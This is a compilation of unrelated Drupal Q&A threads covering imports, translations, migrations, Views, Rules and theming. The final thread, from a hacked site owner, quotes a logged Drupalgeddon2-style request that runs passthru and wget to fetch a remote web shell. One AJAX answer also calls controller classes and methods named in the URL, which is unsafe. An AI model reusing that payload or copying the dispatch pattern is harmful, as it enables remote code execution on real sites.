Feeds is not importing images into subfolders I'm trying to import external nodes from html pages. all working fine but i just cannot make image getting saved in a subfolder.

am mapping a uri value "public://posts/2014/03/4587214.jpg" to "image:uri" and i want the file to be saved in "sites/default/files/posts/2014/03/4587214.jpg" but the file is getting saved in "sites/default/files/posts/4587214.jpg" instead . ("posts" is the value of the subdirectoy in the content type)

any advice on how to make feeds save images in subfolders ? (and create these on fly if do not exist)

i can do it by hacking "feeds/mappers/file.inc" and changing the value of $destination variable as follows:

case 'uri':
if ($v) {
try {
/* patch - start */
/* added to allow subfolder destination */
$uri = $v->getValue();
$uri_target = file_uri_target($uri);
$uri_scheme = file_uri_scheme($uri);
$uri_path_info = pathinfo($uri_target);
$destination = file_stream_wrapper_uri_normalize($uri_scheme . "://" . $uri_path_info['dirname']);
/* patch - end */
$file = $v->getFile($destination);

but i was wandering if this can be done without hacking feeds source files

My solution to a similar problem was installing FileField module and in the content type design, put the attached files (as images in the example) in a structured folder by tokens.

This way, when feeds grab the image and attach to node, file_fields module gets the task and put the image into a folder as you mention by design.

It's also helpful when you add single content, not bulk import operations.Everything organized just as you plan.


How can I deploy user interface translation? Strings that I translate at "User interface translation" /admin/config/regional/translate are not exportable by "Configuration management" /admin/config/development/configuration for me. Am I missing something?

I would like to automate this process with hook_update_N or drush cim -y.

What is a proper way to automatically deploy "User interface translation" in Drupal 8?

Should I do it in hook_update_N()?
Should I create some custom mytranslations.po file in the language folder?

I see there is locale_translate_batch_import_files() which might be used.

Helper function to add custom translations:

/**
 * Helper to manually add a single translation string.
 *
 * @param string $source_string
 *   Source string.
 * @param string $langcode
 *   The langcode.
 * @param string $translated_string
 *   Translated string.
 */
function MYMODULE_add_translation($source_string, $langcode, $translated_string) {
  // Find existing source string.
  $storage = \Drupal::service('locale.storage');
  $string = $storage->findString(['source' => $source_string]);
  if (is_null($string)) {
    $string = new SourceString();
    $string->setString($source_string);
    $string->setStorage($storage);
    $string->save();
  }
  // Create translation. If one already exists, it will be replaced.
  $translation = $storage->createTranslation([
    'lid' => $string->lid,
    'language' => $langcode,
    'translation' => $translated_string,
  ]);
  $translation->save();
}

Usage in an update hook:

/**
 * Add translations.
 */
function MYMODULE_update_8002() {
  MYMODULE_add_translation('Adjust', 'de', 'Anpassen');
}


Reorder Javascript loading in theme? Some modules insert JavaScript at top of list. I put my $sctipts variable at the bottom of html.tpl.php file just before the closing of body tag.
Due to this, some scripts do not work as they get called before jquery or drupal.js .
Please provide steps to reorder list of js.
I tried this code in my template.php but with no effect:

function MYTHEME_js_alter(&$javascript) {
  $javascript['sites/all/modules/syntaxhighlighter/syntaxhighlighter.min.js']['group'] = 500;
  $javascript['sites/all/modules/syntaxhighlighter/syntaxhighlighter.min.js']['weight'] = 500;
}

Solved. I did this: enabled AdvAgg Modifier, Advanced CSS/JS Aggregation. Then I visited settings page /admin/config/development/performance/advagg/mod where I checked options: Enable preprocess on all JS,  Move all inline scripts to the bottom of the execution order, Move all browser conditional JavaScript to the bottom of the group, Move JS to the footer - All.
And now i have all JS in the bottom (as google recommends), without need to chane html.tpl.php


Is it possible to make a "private" distribution not listed on Drupal.org? For a customer we should do a bunch of sites build with Drupal. Multisite is not possible because of different hosting solutions.

Would creating a custom distribution work out for that case? Is it possible to make a "private" distribution not listed on Drupal.org?

On drupal.org, a distribution is a single download containing Drupal core, contributed modules, themes, and pre-defined configuration. You could create a distribution locally, using the same tools used on drupal.org to create a distribution, but that would involve creating a drupal-org.make file using drush make, which is a command removed from Drush.

Instead, as Drush itself suggests, you should use Composer. Create a composer.json file, locally, and add all the dependencies (including modules) you need with composer require. If then you need, for example, to create specific content types, roles, taxonomy terms, or other entities, you could create an installation profile, as described in How to Write a Drupal 8 Installation Profile. Using an installation profile doesn't work for already created sites, but for sites you still have to create, a custom installation profile helps in building a site.

As example of what an installation profile can do, see the content of the core/profiles/standard directory, in particular the config directory, which contains the configuration files necessary to create the default entities you normally use on the default Drupal installation. The install/node.type.page.yml file is a configuration file that defines a node content type. (The filename is important for Drupal to understand it's a node content type.)

langcode: en
status: true
dependencies: {  }
name: 'Basic page'
type: page
description: 'Use basic pages for your static content, such as an ''About us'' page.'
help: ''
new_revision: true
preview_mode: 1
display_submitted: false

An installation profile can have dependencies and a list of core modules that needs to be installed but that aren't dependencies of the profile (see the standard.info.yml file), implement hook_install() (see the standard.install file) and other hooks a module can implements, including the one to alter the site configuration form shown during the installation of Drupal (see the standard.profile file).

function standard_install() {
  // Set front page to "node".
  \Drupal::configFactory()->getEditable('system.site')->set('page.front', '/node')->save(TRUE);

  // Allow visitor account creation with administrative approval.
  $user_settings = \Drupal::configFactory()->getEditable('user.settings');
  $user_settings->set('register', USER_REGISTER_VISITORS_ADMINISTRATIVE_APPROVAL)->save(TRUE);

  // Enable default permissions for system roles.
  user_role_grant_permissions(RoleInterface::ANONYMOUS_ID, ['access comments']);
  user_role_grant_permissions(RoleInterface::AUTHENTICATED_ID, ['access comments', 'post comments', 'skip comment approval']);

  // Assign user 1 the "administrator" role.
  $user = User::load(1);
  $user->roles[] = 'administrator';
  $user->save();

  // We install some menu links, so we have to rebuild the router, to ensure the
  // menu links are valid.
  \Drupal::service('router.builder')->rebuildIfNeeded();

  // Enable the Contact link in the footer menu.
  /** @var \Drupal\Core\Menu\MenuLinkManagerInterface $menu_link_manager */
  $menu_link_manager = \Drupal::service('plugin.manager.menu.link');
  $menu_link_manager->updateDefinition('contact.site_page', ['enabled' => TRUE]);

  user_role_grant_permissions(RoleInterface::ANONYMOUS_ID, ['access site-wide contact form']);
  user_role_grant_permissions(RoleInterface::AUTHENTICATED_ID, ['access site-wide contact form']);

  // Allow authenticated users to use shortcuts.
  user_role_grant_permissions(RoleInterface::AUTHENTICATED_ID, ['access shortcuts']);

  // Populate the default shortcut set.
  $shortcut = Shortcut::create([
    'shortcut_set' => 'default',
    'title' => t('Add content'),
    'weight' => -20,
    'link' => ['uri' => 'internal:/node/add'],
  ]);
  $shortcut->save();

  $shortcut = Shortcut::create([
    'shortcut_set' => 'default',
    'title' => t('All content'),
    'weight' => -19,
    'link' => ['uri' => 'internal:/admin/content'],
  ]);
  $shortcut->save();

  // Allow all users to use search.
  user_role_grant_permissions(RoleInterface::ANONYMOUS_ID, ['search content']);
  user_role_grant_permissions(RoleInterface::AUTHENTICATED_ID, ['search content']);

  // Enable the admin theme.
  \Drupal::configFactory()->getEditable('node.settings')->set('use_admin_theme', TRUE)->save(TRUE);
}

Installation profiles cannot be changed once Drupal is installed. If you need to use a different installation profile, you need to re-install Drupal. If you aren't creating sites ex-novo, instead of an installation profile, you can create a custom module that you install on existing Drupal sites. A module can still create new entities or entity bundles via configuration files, have code executed when it's installed (via hook_install()), and define its dependencies. See, for example, what the Forum module does, for example with its config/optional/node.type.forum.yml file.

langcode: en
status: true
dependencies:
  enforced:
    module:
      - forum
name: 'Forum topic'
type: forum
description: 'A forum topic starts a new discussion thread within a forum.'
help: ''
new_revision: false
preview_mode: 1
display_submitted: true

There are some light differences between a configuration file used from an installation profile and a configuration file. Those differences allow a module to be uninstalled and re-installed, and have its entities (or entity bundles) re-created when the module is re-installed. (Doing differently, re-installing the module would shown an error complaining about the entity existing already.)


Is it worth to switch to InnoDB? Is it worth to switch from MyIsam to InnoDB for a Drupal 7 site that has 2000 visits per day? Would it be worth if it has 10000 visits in the future?

How much faster can a site become with InnoDB if it has mostly reads and not writes? And how much if it has a lot of writes in the database?

I'm asking all this because some articles I have read are negative about InnoDB, and opinions are split.

So, does the generally spoken statement "InnoDB is better always" reflect reality?

The general rule of thumb was to use InnoDB to write intensive tables (due to its row locking nature) and MyISAM for the read-heavy loads. I have seen a few very busy sites fully on InnoDB running without any hiccups or drop in performance too.

Drupal 7 defaults to InnoDB as the database abstraction layer has been rewritten and immensely improved.

You could look into MariaDB which is a drop-in replacement for MySQL, faster and has extra engines. There is also Percona, another high performance replacement. They both address some of the downsides of InnoDB.

The reason I am listing the alternatives is that Oracle made a few very suspicious moves and it may be that pretty soon we won't be able to use MySQL for free. (see http://arstechnica.com/business/news/2011/09/oracle-may-fork-itself-with-recent-mysql-moves.ars)

If bigger changes are not viable/possible, I'd recommend making a clone of the site using InnoDB and load test it using tools like Apache Benchmark, siege, New Relic


Can I add a field collection to a block? I have made a field collection, exported as a Feature and now I'd like to add it to a block.  Does anyone have any suggestions?  I have added fields to blocks through the form API, but that doesn't seem to apply here.

I would like to add this field collection through code, rather then finding a module.

I've looked at hook_block_configure to add the form there, but I don't know if I can add a type that isn't listed in Form API reference.

How about doing it through Views.

You can create a block view, add your field collection to the view, then use the view as a block.


Reloading JavaScript only I am developing/testing some JavaScript functionality. Every change in the JavaScript code I make means I have to reload the page, and wait for Drupal to build the page from scratch, which I don't need at the moment.

Is there a way for telling the browser to reload that one file only?

A possible solution is entering the following code into the console, where "xxx" is a part of the name of the script you want refreshed, and "yyy" its exact adress; the string after the question mark has to be changed each time to force Chrome not to cache it.

jQuery("[src*=xxx]").replaceWith('<script type="text/javascript" src="http://yyy?m2fua6ijsufsds"></script>')

It could probably make for a nice useful mini module, which would provide a button/shortcut that would automate the call.


How to send user to the billing information page immediately after logging in? I am creating a subscription site using Drupal commerce. My site uses logintoboggan  to login a user after creating an account. I am planning to create an order programmatically and then redirect the user to the page where they can enter their credit card information and billing information. I have not figured out how to redirect them to that page yet. Any help would be appreciated.

Check out Login Destination module - it allows you to define destination rules for logging in/registering users and even use PHP snippets for custom conditions.


Testing the values of Views fields I have a View that displays four types of field (field_ba_before, field_photo_gallery, field_body_image, field_image_position).

In my views-view-fields.tpl.php file, I have created a variable called $class. I want the variable of $class to change according to the values of the four fields.

Not every Views row result will use all of the fields, so in my code, I have used IF statements to check if the field exists.

This is my code:

<?php if(($fields['field_ba_before']-> content || $fields['field_photo_gallery']-> content)): ?>
<?php $class = "content-aside-layered"; ?>
<?php else: ?>
<?php if (($fields['field_body_image']-> content)): ?>

    <?php if (($fields['field_image_position']-> content) == 'image_position_right'): ?>
    <?php $class = "content-aside"; ?>
    <?php endif; ?>

    <?php if (($fields['field_image_position']-> content) == 'image_position_left'): ?>
    <?php $class = "aside-content"; ?>
    <?php endif; ?>

    <?php if (($fields['field_image_position']-> content) == 'image_position_bottom'): ?>
    <?php $class = "content-aside-layered"; ?>
    <?php endif; ?>

    <?php if (($fields['field_image_position']-> content) == 'image_position_default'): ?>
    <?php $class = theme_get_setting('body_image_position'); ?>
    <?php endif; ?>

<?php endif; ?>
<?php endif; ?>

<div class="<?php print $class; ?>"> </div>

I am not sure why it is not working. Is there a special way of testing the values of Views fields? Thanks for any help that can be offered!

Views provide to the template the html output of the field and not the actual value or a means to detect if it is empty or not. You will thus need to compare the field->content value with the expected html output. Assuming that you use Drupal 7 and you haven't overriden the field output or you haven't set the field as hidden ("exclude from display" option), the default field output is:

opendiv class="field-content"> ... html output here ... closediv>

Steps to achieve what you're trying to:

1) Add a function like the following: (replace "opendiv" and "closediv" with html open and close div tags, I couldn't get the editor not to filter them)

function mymodule_views_field_compare_value($field, $expected_value) {
      if ($field->content == 'opendiv class="field-content">'.$extected_value.'closediv>') {
          return true;
      }
      return false;
  }

2) To check if a field is not empty do:

if (!mymodule_views_field_compare_value($fields['field_ba_before'], '')) {
}

3) To check the value of the image positioning:

if (mymodule_views_field_compare_value($fields['field_image_position'], 'image_position_default')) {
}

This should help. You can use dpm($fields['field_image_position']) (if you're using the devel module) or var_dump($fields['field_image_position']) to check the actual output of the field, in case it is different than just 'image_position_default', I don't know what type of field it is.


Migrate Multiple URLs from a Spreadsheet into ONE Link Field I'm trying to migrate from Google Sheets into Drupal 8.9+. I have successfully configured most of the migration, but am having trouble migrating two source link fields (Event URL & Ticketing URL) into ONE multi-value links field (field_links) in my target node. I'm trying to shape all the source data in my Google Sheet so I don't have to use custom process plugins.
Here's a link to an example of the Google Spreadsheet I'm using as the source.
I found this Github Gist that led me to believe I could shape the two url fields I have in Google sheets into an array, and have that array be processed by the iterator (now, sub_process) plugin. So I now have a source column called "LinksArray" that merges the data from my "Event URL" and "Ticking URL" columns to create an array that looks exactly like this:
[
  ['title' => 'Event URL', 'uri' => 'https://coolvenue.com/etc'],
  ['title' => 'Ticketing URL', 'uri' => 'https://tickets.com/etc'],
];

And the relevant migration file looks like this:
...

    - name: src_links_array
      label: "LinksArray"
      selector: linksarray
...

  field_links:
    - plugin: skip_on_empty
      method: process
      source: src_links_array
      message: 'field_links is empty. Skipping.'
    - plugin: sub_process
      process:
        title: title
        uri: uri

When I run the migration, It appears to be successful, with no errors, but the content created is missing the links altogether (no titles, no uri's, nothing), so is obviously not working. I tried reformatting the array with and without outer brackets, with and without trailing commas, etc. Nothing works. Is my manually created array being written incorrectly? Do I need to create the array inside the migration instead? If so, I'd greatly appreciate help with that. Thank you!

The two main ways to approach this with php are via hook or plugin.
The first is with a hook, specifically, hook_migrate_MIGRATION_ID_prepare_row().

Allows adding data to a row for a migration with the specified ID.

For example, you could combine your two link columns to a new column formatted as an array.
function my_module_migrate_MY_MIGRATION_ID_prepare_row(Row $row, MigrateSourceInterface $source, MigrationInterface $migration) {
  // Assuming your url fields are keyed event_url and ticketing_url in your migration.yml.
  $links_array = [];
  if ($row->hasSourceProperty('event_url')) {
    $event_url = $row->getSourceProperty('event_url');
    if (!empty($event_url)) {
      $links_array[] = [
        'title' => 'Event URL',
        'uri' => $event_url,
      ];
    }
  }
  if ($row->hasSourceProperty('ticketing_url')) {
    $ticketing_url = $row->getSourceProperty('ticketing_url');
    if (!empty($ticketing_url)) {
      $links_array[] = [
        'title' => 'Ticketing URL',
        'uri' => $ticketing_url,
      ];
    }
  }

  $row->setSourceProperty('event_and_ticketing_url', $links_array);
}

You can use your programmatically added source value in your process section like:
process:
  ...
  field_links: event_and_ticketing_url
  ...

I prefer to use plugins over hooks whenever possible for a few reasons, but one is because plugins are more visible to anybody looking at the implementation later. By looking at the migration.yml, a future developer will know that a custom plugin does something to this thing and the plugin can be found in the src/Plugin directory.
An example doing the same thing, but with a plugin might look like:
my_module/src/Plugins/migrate/process/EventAndTicketingLinks.php:
/**
 * Process plugin to combine event and ticketing url sources to one links array.
 *
 * Example Usage:
 *
 * field_my_links_field:
 *   plugin: my_module_event_and_ticketing_links
 *   link_fields:
 *     event: event_url
 *     ticketing: ticketing_url
 *
 * @MigrateProcessPlugin(
 *   id = "my_module_event_and_ticketing_links",
 * )
 */
class EventAndTicketingLinks extends ProcessPluginBase {

  /**
   * {@inheritdoc}
   */
  public function transform($value, MigrateExecutableInterface $migrate_executable, Row $row, $destination_property) {
    $config = $this->configuration;
    $links = [];

    if (!empty($config['link_fields']['event'])) {
      $event_url = $row->getSourceProperty($config['link_fields']['event']);
      if (!empty($event_url)) {
        $links[] = [
          'title' => 'Event Url',
          'uri' => $event_url,
        ];
      }
    }
    if (!empty($config['link_fields']['ticketing'])) {
      $ticketing_url = $row->getSourceProperty($config['link_fields']['ticketing']);
      if (!empty($ticketing_url)) {
        $links[] = [
          'title' => 'Ticketing Url',
          'uri' => $ticketing_url,
        ];
      }
    }

    return $links;
  }

}

Additionally, since you ended up combining the urls into one source column anyway, you could use the hook or a plugin to work with that data too.


Running Drush on the server I want to run Drush on a OpenSuse Linux Version 12.1 box 32-bit machine.
I have a server admininistrator that takes care for the backend.

What do I need to ask him, in order to get Drush running on the server?

If you want to run Drush, you need ssh access to the server.  This means you need your sysadmin to make an account in the server for you.

To run the "pm-" commands, and a few others, this account will need to have both read and write access to the DOCROOT.  There are a few ways to do this; let your admin pick which is best for your setup.

You will also need PHP available from the command line, preferably with the same php.ini that the website uses.


Print Title, Header and in Different divs I have created a view and called content types events from FILTER CRITERIA
, created template page--events.html.twig to override design.
Problem is here I have called {{ page.content }} which prints header, content and other footer parts eg: bread crumb so I want to call them in different div like header in other div

A simple solution to this would be to create a new view, with a block display, and add a contextual filter to get the current node ID from the url. Then select a field you would like and add it to the view, for example; "Header". Once you've done that then save.

Visit the "Blocks" admin page and add the block to the "Header" region of your page. Your theme should already have these. Restrict the block to display only for that content type, and then repeat this whole process for your footer field.

There are more dynamic solutions, I'm partial to Display Suite these days, something to think about if your looking to make more complex displays.


how to set and unset javascript files for specifc path aliases in Drupal 7? I am trying to set particular javascript files for a specific node page by getting the path alias. like this:

$path=drupal_get_path_alias();
if($path == 'about-us')
  drupal_add_js(drupal_get_path('theme', 'mytheme') . "/page-download.js");

which it doesnt work.
But when i add the particular javascript file to my .info file it works.
Also in other pages i will have to unset some of the javascript files if the above does not work but still unsetting javascripts does not work.

unset($vars['js']['all']['page-download.js']);

As far as adding the JS file goes it probably depends where you're calling that code from. If you're calling it directly in a template file it's probably happening too late in the page build.

A hook_preprocess_page() implementation would probably be a good place for it (as would hook_init() and probably a bunch of others). You can also use request_uri() to check the current path without incurring a lookup for the alias.

function MYMOUDLE_preprocess_page(&$vars) {
  if (request_uri() == '/about-us') {
    drupal_add_js(drupal_get_path('theme', 'mytheme') . "/page-download.js");
  }
}

If for whatever reason you can't get that to work, you can remove a JS file by implementing hook_js_alter():

function MYMODULE_js_alter(&$js) {
  if ($some_condition) {
    $js_path = drupal_get_path('theme', 'mytheme') . "/page-download.js";
    if (isset($js[$js_path])) {
      unset($js[$js_path]);
    }
  }
}


controller function use with ajax I have one controller like as below .

<?php
namespace Drupal\users\Controller;

use Drupal\Core\Controller\ControllerBase;

class UsersController extends ControllerBase {

  public function getList() {
    $time = time();
    $data = array();
    $response = $data = $result = null;

      // add all the data in one multiple dim. array
      $data['title'] = 'Example to consume REST API of User List';
      $data['users'] = $result->list;
      $data['form_data'] = $result->form_data;

      // display the content in the middle section of the page
      $build = array(
        '#theme' => 'users_list', // assign the theme [users-list.html.twig]
        '#title' => 'Example to consume REST API',
        '#pagehtml' => 'API URL : api/users/list ',
        '#data' => $data
      );
    }

    return $build;
  }
}

this above function is called and render the HTML in the middle of the page in HTML format where page URL is call as per defined in routing file (http://siteurl.com/user-list).
I want to use this HTML output in ajax request which will call the same function through ajax instead of page url.

<?php
namespace Drupal\ajax\Controller;

use Drupal\Core\Controller\ControllerBase;
use Symfony\Component\HttpFoundation\JsonResponse;

class AjaxController extends ControllerBase {

  public function call_ajax(){

      //  my target is like as below
       $op = Drupal\Core\Controller\UsersController()->getList();
       return $op;
  }
}

Q) Is there any way to get the output of getList() in HTML format in ajax callback?

After lots of searching finally, I got the solution.
I would like to share this.

AjaxController.php

namespace Drupal\ajax\Controller;

use Drupal\Core\Controller\ControllerBase;
use Symfony\Component\HttpFoundation\JsonResponse;

class AjaxController extends ControllerBase {

  public function call_ajax($controller,$function){
    $args = func_get_args();
    $r = array();
    $r['html'] = null;

    $class = "\\Drupal\\".$controller."\\Controller\\".ucfirst($controller)."Controller";

    $obj = new $class();

    if(method_exists($obj,$function)){
      $r['html'] = render($obj->$function());
    }
    return new JsonResponse($r);
  }

}

ajax.routing.yml

ajax.call:
  path: '/call/ajax/{controller}/{function}'
  defaults:
    _controller: '\Drupal\ajax\Controller\AjaxController::call_ajax'
    _title: 'Get List'
  methods:  [GET]
  requirements:
    _permission: 'access content'

ajax.js

jQuery(document).ready(function($a){
    $a.ajax({
        url: "call/ajax/users/getList",
        method :'GET',
        dataType: "json",
        success: function(result){
          $a(".region-content").html(result.html);
        }
    });
})

Now I have to just pass the controller and function name to call the function using ajax.

The main purpose to use this way is reusability of controller functions.


How to pass required arguments to a custom content type with services? I am trying to create a Room Reservations Reservation through a Service using the Node Creation resource, but looking at the Room Reservations module code, the module does not allow the creation of nodes, or the passing of the form data for that matters, unless specific parameters are passed as arguments in the URL.

So far I have tried using the node create resource with the following data formatted as JSON, to no success

{"title":"fulano de tal","type":"room_reservations_reservation","reservation_block_title":{"und":[{"value":"0"}]},"reservation_date":{"und":[{"value":{"year":"2016","month":"6","day":"1","hour":"10","minute":"0","second":"0"},"timezone":"America/Bogota","timezone_db":"America/Bogota"}]},"reservation_length":{"und":[{"value":"60"}]},"reservation_repeat_type":{"und":[{"value":"1"}]},"reservation_repeat_until":{"und":[{"value":{"year":"2016","month":"6","day":"1","hour":"10","minute":"0","second":"0"},"timezone":"America/Bogota","timezone_db":"America/Bogota"}]},"reservation_room":{"und":[{"value":"163"}]},"reservation_time":{"und":[{"value":"1000"}]},"reservation_series_id":"","field_codigo_reservation":{"und":[{"value":"654535184561"}]},"field_email_registro":{"und":[{"email":"dshaooner@unisabana.edu.co"}]}}

The response is the whole webpage and no node is created.

i think the solution here is to pass the required arguments so that Room Reservations creates the node, would something like the following work?

example.com/endpoint/node.json/add/room-reservations-reservation/6/1/1200/160

Along with the rest of the data in the JSON POST request.

1) Firstly you will create your custom resource for POST request.
Add Below Code to your module file.

function Your_Module_Name_services_resources() {
     $resources = array();
     //$_SERVER['REQUEST_METHOD'] = 'POST';
     //Include the necessary inc files.
    module_load_include('inc', 'Your_Module_Name', 'includes/Your_Module_Name.services');

   //Service Apis for contents.
    $resources += Your_Module_Name_resource();
    return $resources;
}

2) Create Your_Module_Name.services.inc file and write below code for your custom callback as given below.

function Your_Module_Name_resource() {
  $api = array(
'applicant_validate' => array( // Resource Name
 'operations' => array(
    'create' => array(
    'help' => 'Validate Applicant',
    'file' => array(
        'type' => 'inc',
        'module' => 'your_module_name',
        'name' => 'includes/your_module_name.services',
    ),
    'callback' => 'your_callback_function_name',
    'access callback' => 'user_access',
    'access arguments' => array('access content'),
    'access arguments append' => FALSE,
    'args' => array(
        array(
        'name' => 'body',
        'type' => 'string',
        'description' => 'Function to perform',
        'source' => 'data',
        'optional' => FALSE,
        'default' => '0',
        ),
    ),
    ),
    ),
  ));
   return $api;
 }

// variable name $body as you mentioned above in args part with name      parameter

function your_callback_function_name($body)
{
  // It's called when you will hit to your web service url from your from submission.

}

Validate Web Service

 <form id="frm" method="post" action="http://example.com/api/endpoint/applicant_validate">
 <input type="text" placeholder="Application Id" name="appno" id="appno"/>
 <input type="text" placeholder="Email Id" name="emailid" id="emailid"/>
<input type="text" placeholder="Mobile Number" name="mobno" id="mobno"/>
<input type="text" name="userpwd" placeholder="Password" id="userpwd"/>
<input  type="submit" value="submit"/>

</form>


Version Control of a Content Type I'd like to create a content type. My problem is this content type will change frequently (every 6 months, I will add some fields and I will delete others).

How would you do it? I had thought several options:

1) Create a "version" field with a default value for every version I make. With the "hook_form_alter" I would hide or I would show fields according to the version.

2) Another option is to create a new content type for every version "contenttype_10", "contenttype_11", "contenttype_20",... Is there any module that makes possible create a new content type copying all the fields of a existing content type?

What do you think about it? What version is the best for you?

The Features module is designed for this sort of database content to code version control. You could create your content type and export it as a Feature. That feature could then be version controlled like any other source code (using Git, SVN, etc).

If you just wanted to duplicate content types, the CCK module in Drupal 6 has a Content Copy sub-module that allows just that. In Drupal 7, I'm not sure if this is built into core. I would accomplish this task using Features.


setcookie doesn't work in submit function nor tpl.php I just copy and pasted set cookie sample code(http://www.w3schools.com/php/php_cookies.asp) to my module and tpl.php

In my module, I put the setcookie in my submit function as below:

function custom_request_price_form_submit($form,&$form_state){
   $cookie_name = "user";
   $cookie_value = "John Doe";
   setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day

   if(!isset($_COOKIE[$cookie_name])) {
       drupal_set_message("Cookie named '" . $cookie_name . "' is not set!");
   } else {
       drupal_set_message("Cookie '" . $cookie_name . "' is set!
");
       drupal_set_message("Value is: " . $_COOKIE[$cookie_name]);
   }
}

Im my node--XXX.tpl.php, I just copy the code without modification as below:

$cookie_name = "user";
$cookie_value = "John Doe";
setcookie($cookie_name, $cookie_value, time() + (86400 * 30), "/"); // 86400 = 1 day

if(!isset($_COOKIE[$cookie_name])) {
    echo "Cookie named '" . $cookie_name . "' is not set!";
} else {
    echo "Cookie '" . $cookie_name . "' is set!
";
    echo "Value is: " . $_COOKIE[$cookie_name];
}

However, no matter how I refresh the webpage, the message always shows "Cookie named 'user' is not set!"

I also tried user_cookie_save function, but no luck. Does anyone know why my cookie setting doesn't work?

Thank you everyone, I got the answer.
It seems Drupal supports session instead of cookie.(Sorry I cannot find the reference again.) Therefore, I used session to implement my function.

Here are some reference:

Example for session:
https://www.drupal.org/node/360542

How to set session expiration:
https://www.drupalgardens.com/documentation/cookie/expire


Views multi field exposed free-text filter/search I have a view displaying some course listings. I want to enable a free-text search on some of the fields. Some of these fields will be a term-reference type, and some will be text fields.

What's the best way to enable this type of search functionality? I've stumbled upon this: http://drupal.org/project/search_api but wanted someone else's opinion.

You could do that without the help of the search filters.

On my Drupal instance I have Views 7.x-3.7 there is a filter Global: Combine fields filter (exposed) This lets me add multiple fields and then enables users to search on selected fields using a single filter.


How can I avoid to return HTML markup for access denied? I've developed a custom controller that serves as a simple endpoint, POST method.
This controller has custom access control.
Custom access is done by looking for a header in the HTTP request, by making the controller object a service as well.
Everything works great. Except that when I return AccessResult::forbidden() .. I get the HTML of the access denied page .. and I don't really want that .. I'd like to return just a short bit of JSON.
What can I do to return something that is JSON, and not the Access Denied page HTML, for this particular route, when the access() method returns AccessResult::forbidden() ?
I've read that appending ?_format=json to the url works, and in my case it does. Is there anyway to achieve the same result without adding this url parameter?

If you look into ParagraphAccessControlHandler you will find something similar.
Implement something similar in your Access callback.
protected function checkCreateAccess(AccountInterface $account, array $context, $entity_bundle = NULL) {

// Allow paragraph entities to be created in the context of entity forms.
  if (\Drupal::requestStack()
    ->getCurrentRequest()
    ->getRequestFormat() === 'html') {
    return AccessResult::allowed()
      ->addCacheContexts([
      'request_format',
    ]);
  }
  return AccessResult::neutral()
    ->addCacheContexts([
    'request_format',
  ]);
}


How to create a rule to compare an order total with a custom field in a content type? I have multiple restaurants with each another value for minimum order price, this is a custom price field in the content type "Restaurants".

I would need to make a rule where the total order amount is compared to this custom price field. If the total from the order is lower, it should redirect and throw a message.

The problem here is that I don't know what entities to use to get access to the custom price field named "field_leveringsprijs".

The event is on payment selection or checkout completion. The actions would be a page redirect and a message which isn't hard to do. I'm just stuck with the conditions 'Entity has field' and 'Data comparison'.

Any suggestions?

I'm assuming that your field_leveringsprijs (with "levering" = delivery, and "prijs" = price) corresponds to your minimum order price of your Restaurants content type.

If such field is not available as a token to use it in a Rules Condition, then the typical approach/solution is to use the Rules Action (not Rules Condition ...) "Fetch entity by id". So if you do have the id of the Retaurant available, just fetch the Restaurant (=some node of content type Restaurants). That will make all its fields, such as your field_leveringsprijs field, available for subsequent processing.

But, such Fetch entity by id is a Rules Action, so that's like you're too late to use the result of that Rules Action within the typical Rules Conditions (as you are trying to do in the data comparison shown in your question). The way to get around that, is to use either of following approaches:

Use the Conditional Rules module, which basically allows you to add a Rules Condition as part of the Rules Actions you want to perform. So using this module/technique, you'd specify something equivalent to "if order total is below field_leveringsprijs". And then add the actual Rules Actions you want to perform in that case (= perform a redirect, and show some message).
Create a Rules Component in which you execute (as Rules Actions) those actions such as that redirect and display a message). But which also includes a Rules Condition equivalent to "if order total is below field_leveringsprijs". And (this is crucial!) make sure to pass a "parameter" to this Rules Component, which will reprezent your field_leveringsprijs (with same data type). After you QA-tested your Rules Component, go back to your original Rule, and simply execute that Rules Component, by passing the appropriate value of the Rules Component parameter, using ... indeed ... your field_leveringsprijs (which you got via that "Fetch entity by id", remember?).


How can I get the parent term in a taxonomy with a hierarchy? I have a node that is tagged with a taxonomy term which is part of a hierarchy of terms such as "state >> county."

As the user has selected one of the "county" tags, how can I get the name of the parent term?

taxonomy_get_parents() returns all the parent terms for the taxonomy term with the ID passed as argument.
The value returned from the function is an array having the following structure:

array(
  'term id' => [taxonomy term object]
)

The taxonomy term object contains a property for each of the fields contained in the "term_data" table.

The code used from the function is essentially the following one.

$result = db_query(db_rewrite_sql('SELECT t.tid, t.* FROM {term_data} t INNER JOIN {term_hierarchy} h ON h.parent = t.tid WHERE h.tid = %d ORDER BY weight, name', 't', 'tid'), $tid);
$parents = array();
while ($parent = db_fetch_object($result)) {
  $parents[$parent->$key] = $parent;
}

As you see, it doesn't return the parent terms of the parent terms of the one passed as argument. For that you need taxonomy_get_parents_all(), which executes the following code.

  if ($tid) {
    $parents[] = taxonomy_get_term($tid);
    $n = 0;
    while ($parent = taxonomy_get_parents($parents[$n]->tid)) {
      $parents = array_merge($parents, $parent);
      $n++;
    }
  }

The function returns all the parent terms in the hierarchy.


User profile tabs only for current user On my user profile I have various tabs (view, my bookmarks, translate, ...). the problem ist, those tabs should only be visible for profile owner and not if I visit another profile.

Some of those tabs (bookmarks, submissions) are set via view: user/%/submissions with a menu tab - the permissions here are set. But how do I set permission for those tabs only to the current user?

Alter menu and set 'access callback' => 'user_access'
Or if you have custom profile tpl then render tabs like this:

global $user;
if (arg(0) == 'user' && $user->uid == arg(1)){
  //*******render tabs here*********/
}


Set Home link in breadcrumb for items in a particular menu I have two menus: Main and Members. My breadcrumbs in the Main menu are working just fine as defaults.

I would like to customize the breadcrumb for any menu item in the Members menu. Specifically, I'd like Home to be changed to Members and the URL to be \members instead of \.

Is there a hook or module that can do this?

In my opinion, if you want to customize the breadcrumb, the Path Breadcrumbs is the best module for this kind of purpose.

  This module is a solution for all problems with the breadcrumbs on
  your site!

  Path Breadcrumbs module helps you to create breadcrumbs for any page
  with any selection rules and load any entity from the URL!

You can follow this tutorial for the help.


Sites hacked across login pages My Drupal 7 sites were hacked many times, and I find everytime some files created by the hackers.  Even though I did the security update, that didn't prevent the hackers to access to the server.
Recently I saw the Apache log and I found some serious security problems. They try accessing across the login form on /user and some files in the file module folder.

  POST /?q=user/password&name[%23post_render][]=passthru&name[%23type]=markup&name[%23markup]=wget%20-c%20g.wpblogapi.com/acui/innc.zip%20-O%20tmps.php HTTP/1.1" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.6) Gecko/20091201 Firefox/3.5.6

